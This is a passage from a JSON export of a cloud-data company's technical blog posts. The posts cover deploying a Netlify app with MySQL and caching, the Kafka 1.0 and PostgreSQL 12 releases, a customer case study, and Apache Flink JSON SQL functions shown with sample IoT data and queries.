environment during the development process.\n\nOnce Alex is satisfied with her work, an arrow shows how she pushes her code from her local development environment to a centrally located GitHub repository.\n\nIn the middle of the diagram, the GitHub icon acts as the bridge between the development and production environments. Upon each push to the repository, a webhook triggers an action that leads us into the right-hand side of the diagram: the production environment.\n\nIn the production environment, we see the application in its mature, fully realized state. It's here that the application, now deployed on Netlify, is secure, scalable, and reliable. It's ready to perform under the pressure of potentially millions of users, a testament to its robust architecture.\n\nThe production application communicates with [Aiven for MySQL](https://aiven.io/mysql) and [Aiven for Caching](https://aiven.io/caching). They are the robust and reliable backbones of our application, helping maintain performance, even as the user load scales up.\n\nBy following this architectural flow, we see the journey of the application, from Alex's local development setup to the sturdy production-ready system that serves millions of users.\n\n## You got me hooked. How do I start?\n\nGreat! We have written [a detailed tutorial](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis) that you can follow. This tutorial uses a PostgreSQL® database instead of MySQL. Once you have completed the tutorial, it's fairly easy to swap PostgreSQL with MySQL, as these components are modular. Let's look at the sections where you'll make the changes.\n\n### Set up the services\n\n[This tutorial](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis) begins with some pre-requisite accounts setup and tool installations. When you've completed that part and have moved to [Create free PostgreSQL and Redis services](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis#create-free-postgresql-and-redis-services) part, create a **MySQL** service instead of a **PostgreSQL** one for this tutorial. When you're done, you should have:\n\n- An Aiven for MySQL service running, and\n- An Aiven for Caching service running\n\n### Get the application code\n\n[This](https://github.com/Aiven-Labs/nextjs-netlify/) is the original GitHub repository for the tutorial that uses a PostgreSQL backend. I've forked the repository and made changes to the source code so that it works with a MySQL backend instead.\n\nFork and clone the repository with the GitHub CLI:\n\n\u003c!-- double check where the final repo will be --\u003e\n\n```shell\ngh repo fork https://github.com/Aiven-Labs/nextjs-netlify-aiven-mysql.git \\\n    --clone --remote\n```\n\nThe key change in this repository are the provider and schema details in the ORM ([Prisma](https://www.prisma.io/)) going from `postgresql` to `mysql` and the recipe model. The recipe model replaces `String[]` with `String` for directions since MySQL doesn't have built-in support for arrays. If you observe the `prisma/schema.prisma` file, it looks like this:\n\n```\n// This is your Prisma schema file,\n// learn more about it in the docs: https://pris.ly/d/prisma-schema\n\ngenerator client {\n  provider = \"prisma-client-js\"\n}\n\ndatasource db {\n  provider = \"mysql\"\n  url      = env(\"DATABASE_URL\")\n}\n\nmodel Recipe {\n  id               Int      @id @default(autoincrement())\n  recipeName       String   @map(\"recipe_name\")\n  prepTimeMinutes  Int      @map(\"prep_time_minutes\")\n  cookTimeMinutes  Int?     @map(\"cook_time_minutes\")\n  totalTimeMinutes Int      @map(\"total_time_minutes\")\n  servings         Int\n  yield            String?\n  ingredients      Json\n  directions       String\n  rating           Float\n  url              String?\n  imgSrc           String?\n  nutrition        String?\n  isLiked          Boolean  @default(false) @map(\"is_liked\")\n\n  @@map(\"recipes\")\n}\n```\n\n## Deploy the application\n\nFollow the rest of the tutorial to [deploy the application](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis#deploy-the-application). Remember to use the MySQL database URL for the `DATABASE_URL` variable instead of PostgreSQL.\n\n## Next steps\n\nNow that Alex deployed her Next.js application to Netlify with a robust data platform as the backend (yes, that's Aiven), she can venture off to learn about other data services she can use on the Aiven platform. Alex will also benefit from the built-in logging and monitoring of services that Aiven providers. To top it all off, she can leverage Aiven Terraform Provider to automate the creation of all data services. Check out the following links to learn more:\n\n- [Explore Aiven services](https://docs.aiven.io/)\n- [Aiven monitoring and logs](https://aiven.io/docs/platform/howto/list-monitoring)\n- [Aiven Terraform Provider](https://aiven.io/docs/tools/terraform)\n","categories":[{"_key":"36f47138d501","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"84f57bf4c744","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"6b9ed5b161b5","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"getting started with Netlify and Aiven\" in white on a blue background with abstract shapes on it. The Aiven logo is in the bottom left.","asset":{"_ref":"image-cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844-png","_type":"reference"}},"publishedAt":"2023-09-12T10:00:00.000Z","related":[{"_key":"0ae6393365e2","_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},{"_key":"d626ae98279d","_ref":"1vjknmEaGKkLhki8EC08Ua","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Master the process of deploying secure and scalable Next.js applications on Netlify, integrated seamlessly with MySQL and Redis. Visit the Aiven blog!","metaImage":{"_type":"mainImage","alt":"The text \"Getting started with Netlify and aiven\" against a blue background with abstract shapes. The logo for Aiven is in the lower left corner.","asset":{"_ref":"image-cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/getting-started-with-netlify-and-aiven"},"subtitle":"Deploy a JAMstack web application on Netlify with data services provided by Aiven!","title":"Getting started with Netlify and Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2hXkqaDH9IwFqP8JWGrE6K","_rev":"cEPH2uRN58AU2lp9QO7hO5","_type":"post","_updatedAt":"2022-09-08T16:17:38Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"After seven years of development, Apache Kafka released version 1.0.0 this past November.\n\nNeha Narkhede, CTO of Confluent, stated that it represents a \"Completeness of our vision.\"\n\nThat's a pretty big statement and is representative of 1.0.0 not merely being a version change, but something bigger. Let's look at Aiven's take on some of the highlights of the version release.\n\n### **Enhanced metrics support**\n\nYou can get more information about the health of your Kafka service because of the **increased granularity** of the available data.\n\nThis will help Kafka gain more traction in enterprise deployments as there's better visibility into its inner workings. Aiven Kafka will be making these metrics available to you in the upcoming weeks.\n\n\n### Support for Java 9\n\nBrings much improved performance in communication over TLS: **numbers of up to 250% improved performance have been reported**. Aiven will provide support for this later on in 2018.\n\n\n### Notable bug fixes \n\n**1.** Speed increase of broker startup after unclean shutdown\n\nBy reducing unnecessary snapshot file deletions, [restarts after an unclean shutdown](https://issues.apache.org/jira/browse/KAFKA-5829) are up to an order of magnitude faster than before.\n\nThis **improves recovery times** in situations where things have already gone wrong.\n\n**2.** Improved memory usage during partition reassignment\n\nIn 0.11, [memory usage would spike during partition reassignment](https://issues.apache.org/jira/browse/KAFKA-6134). Now, there is more efficient memory usage for partition reassignments during rebalances within Aiven Kafka.\n\n_Why both are important_: improved resource management equals improved stability and performance. \n\n### Aiven ensures that Apache Kafka 1.0 is ready for production use\n\nAs excited as we are for new releases, they are rarely ready for production use out of the box and Kafka 1.0 was no different.\n\nMost notably, there was an [issue surrounding memory leakage](https://issues.apache.org/jira/browse/KAFKA-6185) that needed to be resolved.\n\nAfter much work from the community, **we have now made Apache Kafka 1.0 available** on the Aiven platform.\n\n### Get Aiven Kafka 1.0 today\n\nAll newly created Aiven Kafka services will be running on 1.0 automatically and we will be upgrading current client Kafka services in January.\n\nIf you are a current client and wish to upgrade to Kafka 1.0 earlier, feel free to do so by clicking the maintenance upgrade button within your customer panel.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-711037a1e6b6c024e8920e375d28e7c14f26c663-752x405-png","_type":"reference"}},"publishedAt":"2017-12-19T14:38:00.000Z","seo":{"metaDescription":"Kafka 1.0 is now available on the Aiven platform. Read our latest post to learn what’s new and why we waited a little while to release it.","metaImage":{"alt":"","asset":{"_ref":"image-711037a1e6b6c024e8920e375d28e7c14f26c663-752x405-png","_type":"reference"}},"metaTitle":"Aiven Kafka 1.0 Is Now Ready"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-1-ready"},"subtitle":"Kafka 1.0 is now available on the Aiven platform. Read our latest post to learn what’s new and why we waited a little while to release it.","title":"Aiven Kafka 1.0 Is Now Ready"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2tmkLNy7dKDCdqdz5NwYjV","_rev":"2TBrbODd4ENN9GFOVLnjHd","_type":"post","_updatedAt":"2023-08-03T10:36:56Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"[Spare](https://sparelabs.com/en/) is a global transportation systems provider that offers a platform for municipalities around the world to build public transit and micromobility services for their citizens.\n\nSpare’s journey in building their platform is as unique as it is interesting. Download the case study to find out how Aiven for PostgreSQL greatly improved the reliability of Spare’s platform and saved them the cost of two full-time engineers in the process.\n\nTo read more Aiven case studies from other companies such as Comcast and Paf, visit our [case studies](/case-studies) page. And don't forget to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n\n[![Spare-CS-CTA](//cdn.sanity.io/images/sczeoy4w/production/fb9201c690bfcb461e245f0385da4436234e1a21-768x226.png)](/case-studies/aiven-for-postgresql-helps-spare)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-17T00:00:00.000Z","seo":{"metaDescription":"Find out why Spare, a global transportation systems provider, chose Aiven for PostgreSQL for their application database needs.","metaImage":{"alt":"","asset":{"_ref":"image-c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844-png","_type":"reference"}},"metaTitle":"Spare partners with Aiven to build city transportation systems"},"slug":{"_type":"slug","current":"/blog/spare-uses-aiven-to-build-city-transport-systems"},"subtitle":"Find out why Spare, a global transportation systems provider, chose Aiven for PostgreSQL for their application database needs.","title":"Spare partners with Aiven to build city transportation systems"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3KPeUJpbWM730Z9GEbIuQ1","_rev":"ZLvKaZvfbZlWBlGcpInqu4","_type":"post","_updatedAt":"2024-01-29T15:37:49Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"You can now create a PostgreSQL 12 service on any of Aiven’s supported clouds, making Aiven the first cloud service to provide [managed PostgreSQL 12](/postgresql).\n\nPostgreSQL's latest version upgrade brings improvements to the table in all areas from better performing B-tree indexes to a more mature partitioning system.\n\n## Major enhancements including partitioning improvements\n\nGeneral performance improvements include space usage optimization and read/write performance for B-tree indexes. \n\n__There are also a number of partitioning enhancements:__ \n* improved query performance on tables with thousands of partitions \n* improved insertion performance (```INSERT``` and ```COPY```)\n* the ability to run ``ALTER TABLE ATTACH PARTITION`` without encountering blocking queries\n\n__Additional major enhancements:__\n* support for SQL/JSON path language\n* stored generated columns\n* enablement of case-insensitive and accent-insensitive grouping and ordering\n* new server-side authentication features\n\nFor a complete list of improvements built into PostgreSQL 12, have a look at the release [page](https://www.postgresql.org/docs/12/release-12.html).\n\n## How to get managed PostgreSQL 12\nWhen creating the service from the Aiven console, simply select ‘12’ in the drop-down menu from the PostgreSQL service box, choose your preferred cloud and region, and cluster size. \n\nYou also have a number of alternatives when creating a new PostgreSQL 12 service, such as the [Aiven REST API](https://aiven.io/docs/tools/api), [CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli), and your [Terraform tooling](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration).\n\nFor those of you using an older version who want to upgrade their current cluster to PostreSQL 12, you can perform an [in-place upgrade](https://help.aiven.io/en/articles/2461799-how-to-perform-a-postgresql-in-place-major-version-upgrade).\n\n## Wrapping up\nWith PostgreSQL 12, you have improved performance on partitioning and indexes as well as a range of new features. We’ll always quickly add the latest versions to our services, so remember to follow our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f4977dca6b2a1d9f4e46b834664500349984f323-752x405-png","_type":"reference"}},"publishedAt":"2019-11-15T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL 12 is now available on Aiven. Find out how it'll greatly improve space usage and partitioning, and how you can access it today!","metaImage":{"alt":"","asset":{"_ref":"image-f4977dca6b2a1d9f4e46b834664500349984f323-752x405-png","_type":"reference"}},"metaTitle":"Aiven supports managed PostgreSQL® 12"},"slug":{"_type":"slug","current":"/blog/aiven-releases-postgesql-12"},"subtitle":"PostgreSQL 12 is now available on Aiven. Find out how it'll greatly improve space usage and partitioning, and how you can access it today!","title":"Aiven supports managed PostgreSQL® 12"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3M57bBHrZJEnvxaIodfEwc","_rev":"lhvtNBOlLYH5KiQFQ8YWg7","_type":"post","_updatedAt":"2024-01-29T15:40:49Z","authors":[{"_key":"2HqAyFsloNhNId8CD2Rq77","_ref":"2HqAyFsloNhNId8CD2Rq77","_type":"reference"}],"body":"## A sneak preview of the JSON SQL functions in Apache Flink® 1.15.0\n\nThe Apache Flink® SQL APIs are becoming very popular and nowadays represent the main entry point to build streaming data pipelines. The Apache Flink® community is also increasingly contributing to them with new options, functionalities and connectors being added in every release.\n\nAn example of the increasing interest in Flink SQL is the JSON support in Table SQL. JSON is one of the most used formats in the data world, with basic Apache Flink JSON functions being available in 1.14, and new capabilities added in every release. In this blog post we are going to look at what is going to be available in Apache Flink ``1.15.0-SNAPSHOT`` which is not officially released yet. Therefore, if you want to be able to touch and play with it right now you'll need to clone Apache Flink's [source code](https://github.com/apache/flink) and build it yourself or wait for the official 1.15.0 release. The details on how to build Apache Flink® you can find at [Building Flink from Source](https://nightlies.apache.org/flink/flink-docs-master/docs/flinkdev/building/).\n\n### The use case\n\nFor the purpose of this blog post, we are going to mimic an inbound dataset of IoT sensors. These sensors are suppliers of measured data within the area they are located. From one side the message is in JSON format with possible nested JSON fields, from the other side, since devices could be defective, there could be an invalid JSON.\n\nWhen we monitor any area we might want to do analysis, for instance for each timestamp and metric find a group of areas with corresponding maximum measurement value and show it as a new JSON message.\n\nAs we will see, Apache Flink® allows parsing and building nested JSON using SQL only statements and to reach our goal SQL here would be enough.\n\n### Explore the dataset\n\nOnce Apache Flink® 1.15.0 is ready to use, we can focus on the dataset; for instance, we could create a streaming dataset in an Apache Kafka® topic and connect Apache Flink® to it as explained in a [previous blog post](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka). However, to demonstrate the full power of the Apache Flink® JSON functions, we need a nested JSON dataset.\n\nAs we mentioned earlier we want to mimic IoT devices emitting sensor reading messages from various places around the world. We can store the following messages (one per line) in a file named `iot-readings.json`.\n\n```json\n{\"id\":1,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Berlin\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":2,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":16,\"dimension\":\"℃ \"},\"location\": \"Berlin\", \"timestamp\":\"2018-12-10 13:55:00.000\"}}\n{\"id\":3,\"name\": \"comment2\",\"payload\": \"Out of Order\"}\n{\"id\":4,\"name\": \"Light Sensor\",\"payload\": {\"data\": {\"metric\": \"Light\", \"value\":23, \"dimension\": \"Ev\"}, \"location\": \"Berlin\", \"timestamp\": \"2018-12-10 13:45:00.000\"}}\n{\"id\":5,\"name\": \"Noise Sensor\", \"payload\": {\"data\": {\"metric\": \"Noise\", \"value\":43, \"dimension\": \"\"}, \"timestamp\": \"2018-12-10 13:45:00.000\"}}\n{\"id\":6,\"name\": \"Temperature Sensor\", \"payload\": {: {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Paris\"}, \"timestamp\":\"2018-12-10 13:45:00.000\"}\n{\"id\":7,\"name\": \"Light Sensor\",\"payload\": {\"wrong_data\": {\"metric\": \"Light\", \"value\":23, \"dimension\": \"Ev\"}, \"location\": \"Paris\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":8,\"name\": \"Noise Sensor\",\"payload\": {}}\n{\"id\":9,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Paris\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":10,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":12,\"dimension\":\"℃ \"},\"location\": \"Paris\", \"timestamp\":\"2018-12-10 13:55:00.000\"}}\n{\"id\":11,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"London\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":12,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Rome\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":13,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":28,\"dimension\":\"℃ \"},\"location\": \"Rome\", \"timestamp\":\"2018-12-10 13:55:00.000\"}}\n```\n\nAlmost all the above messages have a JSON format and the `payload` attribute contains nested JSON. However, we can also expect some broken IoT devices in the field producing empty or wrong messages like `{\"id\":3,\"name\": \"comment2\",\"payload\": \"Out of Order\"}`. We want to build reliable data pipelines, therefore we expect that receiving such incorrect messages from several defective devices is not going to stop the data flow.\n\nOne of the ways to provide such messages to Apache Kafka is by extending the [Python fake data producer for Apache Kafka](https://github.com/aiven/python-fake-data-producer-for-apache-kafka), or we could use tools like [kcat](https://aiven.io/docs/products/kafka/howto/kcat.html#produce-data-to-an-apache-kafka-topic).\n\n### Define the Apache Flink® table\n\nTo be able to process the data in the Apache Kafka topic, we need to define an Apache Flink table on top. With Flink SQL client, we can define the table with the following SQL statement:\n\n```sql\nCREATE TABLE\n    sensors (\n      id STRING,\n      name STRING,\n      payload STRING\n      // Here we declare payload as STRING type since there is no JSON datatype in Apache Flink®\n    ) WITH (\n    'connector' = 'kafka',\n    ...\n    // Other properties should be filled based on your connection settings to Apache Kafka\n    ...\n);\n```\n\n### Analyse data using Apache Flink® JSON functions\n\nWith the table defined, we can start filtering out the badly formed records coming from broken IoT devices. We can achieve that by keeping only messages with valid JSON in the `payload` field which also contains the `data` attribute. The new `JSON_EXISTS` function solves exactly this problem:\n\n```sql\nSELECT * \nFROM sensors \nWHERE JSON_EXISTS(payload, '$.data');\n```\nIn the above SQL, a special character `$` denotes the root node in a JSON path from which we can access properties, like `$.data`. \nIf we need to parse arrays, we can use a similar syntax to access an precise element by position (`$.a[0].b`), or retrieve properties for each element in the array (`$.a[*].b`).\n\nThe above SQL generates the following output: \n\n```\n id                           name                        payload\n  1             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n  2             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n  4                   Light Sensor  {\"data\":{\"metric\":\"Light\",\"va~\n  5                   Noise Sensor  {\"data\":{\"metric\":\"Noise\",\"va~\n  9             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n 10             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n 11             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n 12             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n 13             Temperature Sensor  {\"data\":{\"metric\":\"Temperatur~\n\n```\n\nAfter filtering only the valid messages, we can start analyzing the data. For example, we might need to extract the city, stored in the `location` attribute of the correctly formed messages. We can use the `JSON_VALUE` function, retrieving a scalar from a JSON field, to retrieve the needed information:\n\n```sql\nSELECT DISTINCT JSON_VALUE(payload, '$.location') AS `city`\nFROM sensors \nWHERE JSON_EXISTS(payload, '$.data');\n```\nThe result should be the following. Please note that one of the messages has a `\u003cNULL\u003e` city, this is due to the message not containing the `location` attribute.\n\n```\n   city\n Berlin\n \u003cNULL\u003e\n  Paris\n London\n   Rome\n```\nThe `JSON_VALUE` function extracts data as `STRING`s by default. However, we might want to change the resulting datatype, specifically in cases when the output is a number for which we want to perform some calculation.\n\nFor instance, if we want to calculate average temperature by city, we can get the sensor reading by extracting the payload field `.data.value`, with the `RETURNING` option casting it to `INTEGER`. Finally we can aggregate over the `.location` field:\n\n```sql\nSELECT \n  AVG(JSON_VALUE(payload, '$.data.value' RETURNING INTEGER)) AS `avg_temperature`, \n  JSON_VALUE(payload, '$.location') AS `city` \nFROM sensors \nWHERE JSON_VALUE(payload, '$.data.metric') = 'Temperature' \nGROUP BY JSON_VALUE(payload, '$.location');\n```\n\nAnd the expected output is:\n\n```\n avg_temperature                           city\n              19                         Berlin\n              17                          Paris\n              23                         London\n              25                           Rome\n```\n\nSo far all the fields extracted were scalars. But Apache Flink® provides also a function to extract more complex data points called `JSON_QUERY`.\nFor instance, the following query extracts the complete `data` field from all messages with valid JSON and shows `NULL` for the remaining ones. \n\n```sql\nSELECT JSON_QUERY(payload, '$.data') AS `data` \nFROM sensors;\n```\n\nThe query output is:\n```\n                           data\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n                         \u003cNULL\u003e\n {\"metric\":\"Light\",\"value\":23,~\n {\"metric\":\"Noise\",\"value\":43,~\n                         \u003cNULL\u003e\n                         \u003cNULL\u003e\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n```\n\n### Build JSON structures with Apache Flink® SQL\n\nIn the previous section we saw how to parse JSON messages with SQL and extract the required fields, but that's only part of the story. Apache Flink® SQL also enables us to build nested JSON datasets. Let's first create a flat representation of our dataset above with the `max` function extracting the peak measurement for a certain location, metric and timestamp.\n\n```sql\nSELECT \n  JSON_VALUE(payload, '$.location') as loc, \n  JSON_VALUE(payload, '$.data.metric') as metric,\n  TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp')) as timestamp_value,\n  MAX(JSON_VALUE(payload, '$.data.value')) as max_value\nFROM sensors \nWHERE JSON_EXISTS(payload, '$.data')\n  AND JSON_EXISTS(payload, '$.location')\nGROUP BY \n  JSON_VALUE(payload, '$.data.metric'),\n  JSON_VALUE(payload, '$.location'), \n  TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp'));\n```\nThe output is a flat table containing the peak value for each metric, city and timestamp:\n```\n    loc                         metric                      max_value         timestamp_value\n Berlin                    Temperature                             23  2018-12-10 13:45:00.000\n Berlin                    Temperature                             16  2018-12-10 13:55:00.000\n Berlin                          Light                             23  2018-12-10 13:45:00.000\n  Paris                    Temperature                             23  2018-12-10 13:45:00.000\n  Paris                    Temperature                             12  2018-12-10 13:55:00.000\n London                    Temperature                             23  2018-12-10 13:45:00.000\n   Rome                    Temperature                             23  2018-12-10 13:45:00.000\n   Rome                    Temperature                             28  2018-12-10 13:55:00.000\n```\nNow, let's assume we want to create a unique message per `timestamp_value` and `metric` containing a JSON field listing all the cities having an IoT reading and the value of the reading itself. \n\nTo condense all the values in a unique row, we can use the `JSON_OBJECTAGG` function which builds a JSON object string by aggregating key-value expressions.\n\nApache Flink® SQL does not allow nested aggregated functions, therefore we need another wrapper.\n```sql\nWITH sensors_with_max_metric AS (\n  SELECT \n    JSON_VALUE(payload, '$.location') AS loc,\n    JSON_VALUE(payload, '$.data.metric') AS metric,\n    TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp')) AS timestamp_value,\n    MAX(JSON_VALUE(payload, '$.data.value')) AS max_value\n  FROM sensors\n  WHERE JSON_EXISTS(payload, '$.data')\n    AND JSON_EXISTS(payload, '$.location')\n  GROUP BY \n    JSON_VALUE(payload, '$.data.metric'),\n    JSON_VALUE(payload, '$.location'),\n    TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp'))\n)\nSELECT \n  timestamp_value, \n  metric, \n  JSON_OBJECTAGG(KEY loc VALUE max_value) AS json_object_value\nFROM sensors_with_max_metric\nGROUP BY timestamp_value, metric;\n```\n\nNote that `JSON_OBJECTAGG` allows us to define what fields to use as `KEY` and `VALUE` of the JSON object. The output of the above SQL is:\n```\n         timestamp_value                         metric              json_object_value\n 2018-12-10 13:45:00.000                          Light                {\"Berlin\":\"23\"}\n 2018-12-10 13:45:00.000                    Temperature {\"Berlin\":\"23\",\"London\":\"23\",~\n 2018-12-10 13:55:00.000                    Temperature {\"Berlin\":\"16\",\"Paris\":\"12\",\"~\n```\n\nAs a last step, we can create one unique nested JSON document per message, including all the three columns above, with the `JSON_OBJECT` function, which behaves similarly to `JSON_OBJECTAGG` but without aggregation:\n\n```sql\nWITH sensors_with_max_metric AS (\n  SELECT \n    JSON_VALUE(payload, '$.location') AS loc,\n    JSON_VALUE(payload, '$.data.metric') AS metric,\n    TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp')) AS timestamp_value,\n    MAX(JSON_VALUE(payload, '$.data.value')) AS max_value\n  FROM sensors\n  WHERE JSON_EXISTS(payload, '$.data')\n    AND JSON_EXISTS(payload, '$.location')\n  GROUP BY \n    JSON_VALUE(payload, '$.data.metric'),\n    JSON_VALUE(payload, '$.location'),\n    TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp'))\n), \nsensors_with_max_metric_grouped_by_metric_and_timestamp AS (\n    SELECT \n      timestamp_value, \n      metric, \n      JSON_OBJECTAGG(KEY loc VALUE max_value) AS loc\n    FROM sensors_with_max_metric\n    GROUP BY \n      timestamp_value, \n      metric)\nSELECT \n  JSON_OBJECT(\n      KEY 'timestamp' VALUE timestamp_value, \n      KEY 'metric' VALUE s.metric, \n      KEY 'values' VALUE s.loc\n      )\nFROM sensors_with_max_metric_grouped_by_metric_and_timestamp s;\n```\n\nThe final output is the following, with three nested JSON objects.\n\n```\n {\"timestamp\":\"2018-12-10 13:45:00.000\",\"metric\":\"Light\",\"values\":\"{\\\"Berlin\\\":\\\"23\\\"}\"}\n {\"timestamp\":\"2018-12-10 13:45:00.000\",\"metric\":\"Temperature\",\"values\":\"{\\\"Berlin\\\":\\\"23\\\",\\\"London\\\":\\\"23\\\",\\\"Paris\\\":\\\"23\\\",\\\"Rome\\\":\\\"23\\\"}\"}\n {\"timestamp\":\"2018-12-10 13:55:00.000\",\"metric\":\"Temperature\",\"values\":\"{\\\"Berlin\\\":\\\"16\\\",\\\"Paris\\\":\\\"12\\\",\\\"Rome\\\":\\\"28\\\"}\"}\n```\n\nWe managed to parse and build nested JSON data structure using only SQL statements. No more need of custom functions to handle one of the most used data formats in data technology!\n\n### Next Steps\n\nDriven by a huge community effort, Apache Flink®'s SQL is becoming more and more powerful in every release. More features, connectors, functions are added, making the SQL APIs the main driver to define streaming data pipelines. The JSON functions explained here will land in version 1.15.0, but you can already start getting familiar with the huge set of SQL functions available now.\n\nSome more references:\n* Official documentation about [JSON TABLE SQL functions at Flink](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/#json-functions)\n* Start playing with the [Apache Flink SQL Client](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/sqlclient/)\n* Start your trial with [Aiven for Apache Flink®](https://aiven.io/flink)\n* Read all the details about Aiven for Apache Flink® in the [dedicated Aiven developer documentation](https://aiven.io/docs/products/flink/index.html)\n","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-1374824d15c2a967897ae5b9f03adc36d7146369-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-03T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Flink® 1.15.0 will introduce new JSON SQL functions, allowing even more powerful data processing. Read on to find out what is in store.","metaImage":{"alt":"","asset":{"_ref":"image-1374824d15c2a967897ae5b9f03adc36d7146369-1567x844-png","_type":"reference"}},"metaTitle":"New JSON SQL functions in Apache Flink® 1.15.0: A Sneak Peek"},"slug":{"_type":"slug","current":"/blog/preview-JSON-SQL-functions-apache-flink-1.15.0"},"subtitle":"Apache Flink® 1.15.0 will introduce new JSON SQL functions, allowing even more powerful data processing. Read on to find out what is in store.","title":"Looking ahead to the new JSON SQL functions in Apache Flink® 1.15.0"}
